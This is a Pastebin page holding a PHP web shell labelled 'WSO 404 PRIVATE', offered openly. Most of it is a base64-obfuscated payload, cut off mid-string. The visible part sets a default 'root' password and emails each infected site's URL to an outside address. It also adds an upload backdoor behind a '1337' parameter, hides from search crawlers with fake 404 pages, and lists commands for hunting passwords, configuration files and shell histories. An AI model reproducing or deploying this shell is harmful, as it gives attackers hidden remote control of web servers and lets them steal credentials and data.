Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* WSO 404 PRIVATE (Web Shell) */
- $auth_pass = "63a9f0ea7bb98050796b649e85481845"; //Default password is "root"
- $h3x = "CiRjb2xvciA9ICIjMDBmZjAwIjsKJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsgCiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsgCiRkZWZhdWx0X2NoYXJzZXQgPSAnV2luZG93cy0xMjUxJzsKCmlmICghaXNzZXQoJF9TRVNTSU9OWyd0cmltaXRlJ10pKSB7CiAgICAkdXJsID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiAgICBAbWFpbCgiYWxiYW5pYW5oNGNrM3JAZ21haWwuY29tIiwgIldTTyBTaGVsbCIsICR1cmwpOwogICAgJF9TRVNTSU9OWyd0cmltaXRlJ10gPSB0cnVlOwp9CgovLyogcGF0Y2ggZmlsZS5waHA/MTMzNwppZihpc3NldCgkX0dFVFsiMTMzNyJdKSkKIHsKICBlY2hvIjxmb250IGNvbG9yPSNmZmZmZmY+Ii5waHBfdW5hbWUoKS4iIjsKICBwcmludCAiXG4iOyRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwogIGVjaG8gIjxicj5EaXNhYmxlUEhQPSIuJGRpc2FibGVfZnVuY3Rpb25zOyBwcmludCAiXG4iOwogIGVjaG8iPGJyPjxmb3JtIG1ldGhvZD1wb3N0IGVuY3R5cGU9bXVsdGlwYXJ0L2Zvcm0tZGF0YT4iOwogIGVjaG8iPGlucHV0IHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IG5hbWU9ayB0eXBlPXN1Ym1pdCBpZD1rIHZhbHVlPXVwbG9hZD48YnI+IjsKICAgIGlmKCRfUE9TVFsiayJdPT11cGxvYWQpCnsgaWYoQGNvcHkoJF9GSUxFU1siZiJdWyJ0bXBfbmFtZSJdLCRfRklMRVNbImYiXVsibmFtZSJdKSl7CmVjaG8iPGI+Ii4kX0ZJTEVTWyJmIl1bIm5hbWUiXTsKfWVsc2V7CmVjaG8iPGI+VXBsb2FkIE9rISI7Cn0KfQp9CgogIAppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyAKICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsgCiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7IAogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOyAKICAgICAgICBleGl0OyAKICAgIH0gCn0gCiAgCkBzZXNzaW9uX3N0YXJ0KCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsgCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyAKQHNldF90aW1lX2xpbWl0KDApOyAKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsgCkBkZWZpbmUoJ1dTT19WRVJTSU9OJywgJzIuNicpOyAKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgeyAKICAgIGZ1bmN0aW9uIFdTT3N0cmlwc2xhc2hlcygkYXJyYXkpIHsgCiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ1dTT3N0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsgCiAgICB9IAogICAgJF9QT1NUID0gV1NPc3RyaXBzbGFzaGVzKCRfUE9TVCk7IAp9IAogIApmdW5jdGlvbiB3c29Mb2dpbigpIHsgCiAgICBkaWUoIjxoMT5Ob3QgRm91bmQ8L2gxPiAKPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IAo8cD5BZGRpdGlvbmFsbHksIGEgNDA0IE5vdCBGb3VuZCBlcnJvciB3YXMgZW5jb3VudGVyZWQgd2hpbGUgdHJ5aW5nIHRvIHVzZSBhbiBFcnJvckRvY3VtZW50IHRvIGhhbmRsZSB0aGUgcmVxdWVzdC48L3A+IAo8aHI+IAo8YWRkcmVzcz5BcGFjaGUvMi4yLjIyIChVbml4KSBtb2Rfc3NsLzIuMi4yMiBPcGVuU1NMLzEuMC4wLWZpcHMgbW9kX2F1dGhfcGFzc3Rocm91Z2gvMi4xIG1vZF9id2xpbWl0ZWQvMS40IEZyb250UGFnZS81LjAuMi4yNjM1IFNlcnZlciBhdCBQb3J0IDgwPC9hZGRyZXNzPiAKICAgIDxzdHlsZT4gCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IAogICAgPC9zdHlsZT4gCiAgICA8cHJlIGFsaWduPWNlbnRlcj4gCiAgICA8Zm9ybSBtZXRob2Q9cG9zdD4gCiAgICA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+IAogICAgPC9mb3JtPjwvcHJlPiIpOyAKfSAKaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pKSAKICAgIGlmKCBlbXB0eSgkYXV0aF9wYXNzKSB8fCAoIGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAobWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzKSApICkgCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7IAogICAgZWxzZQogICAgICAgIHdzb0xvZ2luKCk7IAogIAppZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiIpIAogICAgJG9zID0gJ3dpbic7IAplbHNlCiAgICAkb3MgPSAnbml4JzsgCiAgCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7IAppZighJHNhZmVfbW9kZSkgCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7IAogIAokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsgCiRob21lX2N3ZCA9IEBnZXRjd2QoKTsgCmlmKGlzc2V0KCRfUE9TVFsnYyddKSkgCiAgICBAY2hkaXIoJF9QT1NUWydjJ10pOyAKJGN3ZCA9IEBnZXRjd2QoKTsgCmlmKCRvcyA9PSAnd2luJykgeyAKICAgICRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsgCiAgICAkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsgCn0gCmlmKCAkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycgKSAKICAgICRjd2QgLj0gJy8nOyAKICAgICAgCmlmKCFpc3NldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddKSkgCiAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJEdMT0JBTFNbJ2RlZmF1bHRfdXNlX2FqYXgnXTsgCiAgCmlmKCRvcyA9PSAnd2luJykgCiAgICAkYWxpYXNlcyA9IGFycmF5KCAKICAgICAgICAiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLCAKICAgICAgICAiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwgCiAgICAgICAgIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsIAogICAgICAgICJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwgCiAgICAgICAgIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsIAogICAgICAgICJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLCAKICAgICAgICAiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsIAogICAgICAgICJBUlAgVGFibGUiID0+ICJhcnAgLWEiLCAKICAgICAgICAiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCiAgICApOyAKZWxzZQogICAgJGFsaWFzZXMgPSBhcnJheSggCiAgICAgICAgIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsIAogICAgICAgICJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLCAKICAgICAgICAic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwgCiAgICAgICAgInByb2Nlc3Mgc3RhdHVzIiA9PiAicHMgYXV4IiwgCiAgICAgICAgIkZpbmQiID0+ICIiLCAKICAgICAgICAiZmluZCBhbGwgc3VpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLCAKICAgICAgICAiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsIAogICAgICAgICJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsIAogICAgICAgICJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwgCiAgICAgICAgImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsIAogICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsIAogICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsIAogICAgICAgICJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLCAKICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwgCiAgICAgICAgImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLCAKICAgICAgICAiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwgCiAgICAgICAgImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsIAogICAgICAgICJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsIAogICAgICAgICJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsIAogICAgICAgICJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwgCiAgICAgICAgImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsIAogICAgICAgICJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsIAogICAgICAgICJMb2NhdGUiID0+ICIiLCAKICAgICAgICAibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsIAogICAgICAgICJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLCAKICAgICAgICAibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLCAKICAgICAgICAibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwgCiAgICAgICAgImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAibG9jYXRlIG15LmNvbmYiLCAKICAgICAgICAibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsIAogICAgICAgICJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwgCiAgICAgICAgImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsIAogICAgICAgICJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwgCiAgICAgICAgImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLCAKICAgICAgICAibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsIAogICAgICAgICJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLCAKICAgICAgICAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLCAKICAgICAgICAibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsIAogICAgICAgICJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLCAKICAgICAgICAibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwgCiAgICAgICAgImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsIAogICAgICAgICJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwgCiAgICAgICAgImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsIAogICAgICAgICJsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsIAogICAgICAgICJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwgCiAgICAgICAgImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwgCiAgICAgICAgImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLCAKICAgICAgICAibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiIKICAgICk7IApmdW5jdGlvbiB3c29IZWFkZXIoKSB7IAogICAgaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKSAKICAgICAgICAkX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsgCiAgICBnbG9iYWwgJGNvbG9yOyAKICAgIGVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPiAKPHN0eWxlPiAKYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDAwO2NvbG9yOiNmZmY7fSAgCmJvZHksdGQsdGh7IGZvbnQ6IDlwdCBMdWNpZGEsVmVyZGFuYTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0gIApzcGFuLGgxLGF7IGNvbG9yOiAkY29sb3IgIWltcG9ydGFudDsgfSAgCnNwYW57IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0gIApoMXsgYm9yZGVyOjFweCBzb2xpZCAkY29sb3I7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7bWFyZ2luOjBweDsgfSAgCmRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O30gIApheyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfSAgCmE6aG92ZXJ7IGJhY2tncm91bmQ6I2ZmMDAwMDsgfSAgCi5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfSAgCi5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfSAgCmlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0eyBtYXJnaW46MDtjb2xvcjojMDBmZjAwO2JhY2tncm91bmQtY29sb3I6IzAwMDtib3JkZXI6MXB4IHNvbGlkICRjb2xvcjsgZm9udDogOXB0IE1vbm9zcGFjZSwnQ291cmllciBOZXcnOyB9ICAKZm9ybXsgbWFyZ2luOjBweDsgfSAgCiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0gIAoudG9vbHNJbnB7IHdpZHRoOiA4MCU7IH0gIAoubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7fSAgCi5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZTt9ICAKLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9ICAKcHJle2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30gCiNjb3RfdGxfZml4ZWR7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjBweDtmb250LXNpemU6MTJweDtsZWZ0OjBweDtwYWRkaW5nOjRweCAwO2NsaXA6X3RvcDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxUb3ArZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudEhlaWdodC10aGlzLmNsaWVudEhlaWdodCk7X2xlZnQ6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsTGVmdCArIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRXaWR0aCAtIG9mZnNldFdpZHRoKTt9ICAKPC9zdHlsZT4gCjxzY3JpcHQ+IAogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsgCiAgICB2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicKICAgIHZhciBjaGFyc2V0XyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pIC4iJzsgCiAgICB2YXIgcDFfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMSddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddLEVOVF9RVU9URVMpKSAuIic7IAogICAgdmFyIHAyXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSxFTlRfUVVPVEVTKSkgLiInOyAKICAgIHZhciBwM18gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AzJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10sRU5UX1FVT1RFUykpIC4iJzsgCiAgICB2YXIgZCA9IGRvY3VtZW50OyAKICAgIGZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgeyAKICAgICAgICBpZihhIT1udWxsKWQubWYuYS52YWx1ZT1hO2Vsc2UgZC5tZi5hLnZhbHVlPWFfOyAKICAgICAgICBpZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOyAKICAgICAgICBpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87IAogICAgICAgIGlmKHAyIT1udWxsKWQubWYucDIudmFsdWU9cDI7ZWxzZSBkLm1mLnAyLnZhbHVlPXAyXzsgCiAgICAgICAgaWYocDMhPW51bGwpZC5tZi5wMy52YWx1ZT1wMztlbHNlIGQubWYucDMudmFsdWU9cDNfOyAKICAgICAgICBpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOyAKICAgIH0gCiAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7IAogICAgICAgIHNldChhLGMscDEscDIscDMsY2hhcnNldCk7IAogICAgICAgIGQubWYuc3VibWl0KCk7IAogICAgfSAKICAgIGZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsgCiAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsgCiAgICAgICAgdmFyIHBhcmFtcyA9ICdhamF4PXRydWUnOyAKICAgICAgICBmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKSAKICAgICAgICAgICAgcGFyYW1zICs9ICcmJytkLm1mLmVsZW1lbnRzW2ldLm5hbWUrJz0nK2VuY29kZVVSSUNvbXBvbmVudChkLm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsgCiAgICAgICAgc3IoJyIgLiBhZGRzbGFzaGVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHBhcmFtcyk7IAogICAgfSAKICAgIGZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7IAogICAgICAgIGlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpIAogICAgICAgICAgICByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsgCiAgICAgICAgZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpIAogICAgICAgICAgICByZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgnTWljcm9zb2Z0LlhNTEhUVFAnKTsgCiAgICAgICAgaWYgKHJlcSkgeyAKICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7IAogICAgICAgICAgICByZXEub3BlbignUE9TVCcsIHVybCwgdHJ1ZSk7IAogICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsgCiAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7IAogICAgICAgIH0gCiAgICB9IAogICAgZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsgCiAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApIAogICAgICAgICAgICBpZihyZXEuc3RhdHVzID09IDIwMCkgeyAKICAgICAgICAgICAgICAgIHZhciByZWcgPSBuZXcgUmVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsgCiAgICAgICAgICAgICAgICB2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOyAKICAgICAgICAgICAgICAgIGV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsgCiAgICAgICAgICAgIH0gZWxzZSBhbGVydCgnUmVxdWVzdCBlcnJvciEnKTsgCiAgICB9IAo8L3NjcmlwdD4gCjxoZWFkPjxib2R5PjxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjEwMCU7YmFja2dyb3VuZC1jb2xvcjojMDAwO3RvcDowO2xlZnQ6MDsnPiAKPGZvcm0gbWV0aG9kPXBvc3QgbmFtZT1tZiBzdHlsZT0nZGlzcGxheTpub25lOyc+IAo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPiAKPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Yz4gCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxPiAKPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+IAogIAo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMz4gCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQ+IAo8L2Zvcm0+IjsgCiAgICAkZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsgCiAgICAkdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7IAogICAgJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOyAKICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOyAKICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7IAogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7IAogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsgCiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOyAKICAgICAgICAkZ2lkID0gQGdldG15Z2lkKCk7IAogICAgICAgICRncm91cCA9ICI/IjsgCiAgICB9IGVsc2UgeyAKICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7IAogICAgICAgICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsgCiAgICAgICAgJHVzZXIgPSAkdWlkWyduYW1lJ107IAogICAgICAgICR1aWQgPSAkdWlkWyd1aWQnXTsgCiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOyAKICAgICAgICAkZ2lkID0gJGdpZFsnZ2lkJ107IAogICAgfSAKICAKICAgICRjd2RfbGlua3MgPSAnJzsgCiAgICAkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOyAKICAgICRuPWNvdW50KCRwYXRoKTsgCiAgICBmb3IoJGk9MDsgJGk8JG4tMTsgJGkrKykgeyAKICAgICAgICAkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7IAogICAgICAgIGZvcigkaj0wOyAkajw9JGk7ICRqKyspIAogICAgICAgICAgICAkY3dkX2xpbmtzIC49ICRwYXRoWyRqXS4nLyc7IAogICAgICAgICRjd2RfbGlua3MgLj0gIlwiKSc+Ii4kcGF0aFskaV0uIi88L2E+IjsgCiAgICB9IAogIAogICAgJGNoYXJzZXRzID0gYXJyYXkoJ1VURi04JywgJ1dpbmRvd3MtMTI1MScsICdLT0k4LVInLCAnS09JOC1VJywgJ2NwODY2Jyk7IAogICAgJG9wdF9jaGFyc2V0cyA9ICcnOyAKICAgIGZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKSAKICAgICAgICAkb3B0X2NoYXJzZXRzIC49ICc8b3B0aW9uIHZhbHVlPSInLiRpdGVtLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0kaXRlbT8nc2VsZWN0ZWQnOicnKS4nPicuJGl0ZW0uJzwvb3B0aW9uPic7IAogIAogICAgJG0gPSBhcnJheSgnU2VjIEluZm8nPT4nU2VjSW5mbycsJ0ZpbGVzJz0+J0ZpbGVzTWFuJywnRXhlYyc9PidDb25zb2xlJywnU3FsJz0+J1NxbCcsJ1BIUCBUb29scyc9PidwaHB0b29scycsJ0xGSSc9PidsZml